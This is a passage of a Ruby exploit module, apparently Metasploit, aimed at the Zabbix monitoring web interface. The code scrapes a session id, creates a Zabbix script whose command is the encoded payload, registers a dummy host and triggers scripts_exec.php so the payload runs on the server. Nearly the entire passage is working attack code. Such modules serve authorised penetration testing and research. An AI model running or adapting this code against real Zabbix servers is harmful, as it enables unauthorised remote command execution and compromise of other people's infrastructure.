|
||||
if line =~ /&sid=(.{16})\">/
|
||||
sid = $1
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if sid == ''
|
||||
fail_with("Could not get sid")
|
||||
end
|
||||
|
||||
script_title = rand_text_alpha(18)
|
||||
post = {
|
||||
'sid' => sid,
|
||||
'form_refresh' => 3,
|
||||
'form' => 'Create+script',
|
||||
'name' => script_title,
|
||||
'type' => 0,
|
||||
'execute_on' => 1,
|
||||
'command' => payload.encoded,
|
||||
'commandipmi' => '',
|
||||
'description' => '',
|
||||
'usrgrpid' => 0,
|
||||
'groupid' => 0,
|
||||
'access' => 2,
|
||||
'save' => 'Save'
|
||||
}
|
||||
|
||||
resp = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/scripts.php'),
|
||||
'vars_post' => post,
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
if !resp or resp.code != 200
|
||||
fail_with("Error creating script")
|
||||
end
|
||||
|
||||
script_id = ''
|
||||
if resp.body =~ /scriptid=(\d{1,8})&sid=#{sid}\">#{script_title}/
|
||||
script_id = $1
|
||||
else
|
||||
fail_with("Could not get the script id")
|
||||
end
|
||||
|
||||
host = rand_text_alpha(18)
|
||||
post = {
|
||||
'sid' => sid,
|
||||
'form_refresh' => 1,
|
||||
'form' => 'Create+host',
|
||||
'host' => host,
|
||||
'visiblename' => host,
|
||||
'groups_left' => 4,
|
||||
'newgroup' => '',
|
||||
'interfaces[1][isNew]' => true,
|
||||
'interfaces[1][interfaceid]' => 1,
|
||||
'interfaces[1][type]' => 1,
|
||||
'interfaces[1][ip]' => '127.0.0.1',
|
||||
'interfaces[1][dns]' => '',
|
||||
'interfaces[1][useip]' => 1,
|
||||
'interfaces[1][port]' => 10050,
|
||||
'mainInterfaces[1]' => 1,
|
||||
'proxy_hostid' => 0,
|
||||
'status' => 0,
|
||||
'ipmi_authtype' => -1,
|
||||
'ipmi_privilege' => 2,
|
||||
'ipmi_username' => '',
|
||||
'ipmi_password' => '',
|
||||
'macros[0][macro]' => '',
|
||||
'macros[0][value]' => '',
|
||||
'inventory_mode' => -1,
|
||||
'save' => 'Save',
|
||||
'groups[4]' => 4
|
||||
}
|
||||
|
||||
resp = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/hosts.php'),
|
||||
'vars_post' => post,
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
if !resp or resp.code != 200
|
||||
fail_with("Error creating new host")
|
||||
end
|
||||
|
||||
hostid = ''
|
||||
if resp.body =~ /hosts.php\?form=update&hostid=(\d{1,12})&groupid=(\d)&sid=#{sid}\">#{host}/
|
||||
hostid = $1
|
||||
else
|
||||
fail_with("Could not get the host id")
|
||||
end
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "/scripts_exec.php?execute=1&hostid=#{hostid}&scriptid=#{script_id}&sid=#{sid}"),
|
||||
'cookie' => sess
|
||||
})
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue